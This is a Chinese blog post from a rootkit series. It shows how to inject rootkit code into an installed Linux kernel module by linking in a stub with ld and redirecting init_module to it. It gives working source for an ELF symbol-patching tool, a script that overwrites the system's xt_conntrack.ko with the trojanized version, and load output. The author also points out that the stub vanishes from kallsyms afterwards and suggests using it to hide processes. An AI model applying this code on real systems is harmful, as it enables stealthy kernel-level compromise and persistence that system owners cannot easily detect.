将你的Rootkit代码注入到一个Linux内核模块

前段时间从完成“实时获取系统中TCP半连接数量”这个永远无法上线的半吊子需求开始,一发不可收拾地栽进了Rootkit深坑,有点走火入魔,写了好多篇这方面的随笔并结识了很多朋友,感觉不错。

前面的系列文章中,大多数都是描述某个技术点的,而你想利用这个技术点做点实际的好事或者坏事,其实还有一段很长距离的路要走,比如:

  • 谁给你的root权限?
  • 你会编程并且编写Linux内核模块吗?
  • 系统中有gcc和make吗?
  • 内核模块要求签名验证吗?
  • 经理姓刘吗?或者经理姓吴吗?

以上的每一个单点都是易守难攻,所以说,把自己的Rootkit代码注入系统还是颇有难度的。

本文介绍一种简单的注入方法,即 将你的Rootkit代码注入到一个现有的Linux内核模块中。

很多初学者都干过一件事,即 修改ELF文件或者PE文件的入口函数,让它跳到自己的逻辑。

想做到这个其实很容易,将我们自己的stub obj文件link到既有的可执行文件,然后修改文件的entry即可。只要手边有ELF文件或者PE文件的手册,还有什么不能改的呢。

有趣的是,对于Linux内核模块的注入,要比上面可执行文件的注入容易得多!

  • 因为Linux内核模块根本不靠entry来确定入口,而是依靠init_module symbol确定入口的。

本文以一种轻松的方式叙述,和以往一样,依然不分析内核源码,我希望通过小实验来描述我想表达的东西。

Linux内核模块遵循了ELF文件格式,但是却自定义了加载和执行逻辑。

简单来讲,一个内核模块是通过查找init_module符号来定位入口的,而init_module则属于一个重定位section:

重定位节 '.rela.gnu.linkonce.this_module' 位于偏移量 0xea20 含有 2 个条目:
  偏移量          信息           类型           符号值        符号名称 + 加数
000000000128  004500000001 R_X86_64_64       0000000000000017 init_module + 0
000000000228  004100000001 R_X86_64_64       0000000000000000 cleanup_module + 0

无论哪个模块都是这样。所谓的重定位段,就是在ELF中无法确认其地址,它的最终加载地址需要通过 重定位技术 来搞定。

init_module其实就是内核模块init函数的别名,重定位过程中它的最终地址由其在符号表的表项st_value字段决定!

当我们通过readelf -s读取一个内核模块文件时,我们会发现init_module:

    39: 0000000000000000    18 FUNC    GLOBAL DEFAULT    4 init_module

第二列那个全0的u64值就是它的st_value。

事情变得简单且有趣,我们只需要将init_module这个符号的st_value改成另一个函数func_stub符号的st_value,那么当模块加载时,就会调用func_stub了。通过ELF的格式解析,做到这个简直太容易了。

现在的问题是,如何把另一个函数func_stub塞进一个既有的内核模块呢?

这个倒也不难,用ld即可:

ld -r $(既有模块) $(hook模块) -o $(新模块)

最后,我们就可以去修改新模块的符号表项的st_value字段了,解析ELF文件即可完成任务。

首先给出我用来修改符号表项st_value字段的程序源码:

// modsym.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <elf.h>

int main(int argc, char **argv)
{
	int fd;
	char *mod;
	char *orig_func_name, *stub_func_name;
	unsigned int size, i, j, shn, n;
	Elf64_Sym *syms, *sym, *init, *hook, *dup;
	Elf64_Shdr *shdrs, *shdr;
	Elf64_Ehdr *ehdr;
	const char *strtab;

	init = hook = dup = NULL;
	orig_func_name = argv[2];
	stub_func_name = argv[3];

	fd = open(argv[1], O_RDWR);
	size = lseek(fd, 0L, SEEK_END);
	mod = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);

	ehdr = (Elf64_Ehdr *)mod;
	shdrs = (Elf64_Shdr *)(mod + ehdr->e_shoff);
	shn = ehdr->e_shnum == 0 ? shdrs[0].sh_size : ehdr->e_shnum;

	for (i = 0; i < shn; i++) {
		shdr = &shdrs[i];
		if (shdr->sh_type == SHT_SYMTAB || shdr->sh_type == SHT_DYNSYM) {
			syms = (Elf64_Sym *)(mod + shdr->sh_offset);
			strtab = mod + shdrs[shdr->sh_link].sh_offset;
			n = shdr->sh_size / shdr->sh_entsize;
			for (j = 0; j < n; j++) {
				char stype;

				sym = &syms[j];
				stype = ELF64_ST_TYPE(sym->st_info);
				if (stype == STT_FUNC || stype == STT_NOTYPE) {
					if (!strcmp(strtab + sym->st_name, "init_module")) {
						init = sym;
					}
					if (!strcmp(strtab + sym->st_name, stub_func_name)) {
						hook = sym;
					}
				}
				if (stype == STT_NOTYPE) {
					if (!strcmp(strtab + sym->st_name, orig_func_name)) {
						dup = sym;
					}
				}
			}
			if (init && hook) {
				break;
			}
		}
	}
	if (init && hook) {
		if (dup) {
			// 清理掉已经无用的extern符号
			memcpy(dup, init, sizeof(Elf64_Sym));
		}
		printf("   @@@@@@@@ init func  :%s  %d  %d\n", strtab + init->st_name, ELF64_ST_BIND(init->st_info), STB_GLOBAL);
		init->st_value = hook->st_value;
	}
	munmap(mod, size);
}

代码很直接,就是找到init_module和我们的hook函数这两个符号项,用hook函数的st_value替换init_module的原始st_value,同时我们需要将stub模块里的extern符号清除掉。

来吧,让我们开始。

首先确认我们要注入的内核模块,我以下面的模块为例来实施注入:

/lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko

下面是一个脚本:

#!/bin/bash
# 备份,防止失败。
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko.bak

# 用旧的模块做实验。
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko.bak /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko

# 合并stub模块到xt_conntrack.ko。
ld -r /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko ./stub.ko -o /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko

# 修改新模块中的符号表项。
./modsym /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko conntrack_mt_init test_stub

# 用被注入的模块作为系统默认模块。
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko
sync

在我的实验里,我只是为xt_conntrack.ko增加了一个模块参数,并且在加载这个模块前将其打印出来:

// stub.c
#include <linux/module.h>

extern int conntrack_mt_init(void);

int aaaa = 123;
module_param(aaaa, uint, 0444);
MODULE_PARM_DESC(aaaa, "......");

int __init test_stub(void)
{
	printk("i am a stub, and my value is %d\n", aaaa);
	return conntrack_mt_init();
}

MODULE_LICENSE("GPL");

来来来,看效果:

[root@localhost test]# dmesg -c
[root@localhost test]# service firewalld stop
Redirecting to /bin/systemctl stop firewalld.service
[root@localhost test]# service firewalld start
Redirecting to /bin/systemctl start firewalld.service
[root@localhost test]# dmesg
[ 8019.300351] Ebtables v2.0 unregistered
[ 8026.911602] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 8026.933152] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 8026.958643] Ebtables v2.0 registered
[ 8026.991342] nf_conntrack version 0.5.0 (7941 buckets, 31764 max)
[ 8027.224429] i am a stub, and my value is 123
[root@localhost test]# cat /sys/module/xt_conntrack/parameters/aaaa
123

哈哈,成功为xt_conntrack模块增加了一个参数aaaa,并在其init函数conntrack_mt_init被调用前打印了一句话以及aaaa的值。

如前面的系列文章,我们当然不可能在stub函数里做这么简单的事啊,至少也要隐藏个进程,inline hook啥的。值得注意的是,我们的stub函数是_init修饰的,这意味着当它调用结束后,其内存将被清理掉,不留痕迹:

[root@localhost test]# cat /proc/kallsyms |grep test_stub
[root@localhost test]# echo $?
1

好玩吗?


我们把ELF文件的各个组成部分看作乐高玩具的话,我们甚至不需要拆解各个细节,单靠重新排列组合就可以构建出各种有趣的东西。

本文介绍的方法是 不需要编程的。 这是我等不懂编程的人的福音!modsym.c确实是一段C代码,但这并不算真正的编程,这只是生产工具的构建,而且这种代码,网上多得是。

经理呢?经理呢?


浙江温州皮鞋湿,下雨进水不会胖。

展开阅读全文
©️2020 CSDN 皮肤主题: 编程工作室 设计师: CSDN官方博客 返回首页
实付0元
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值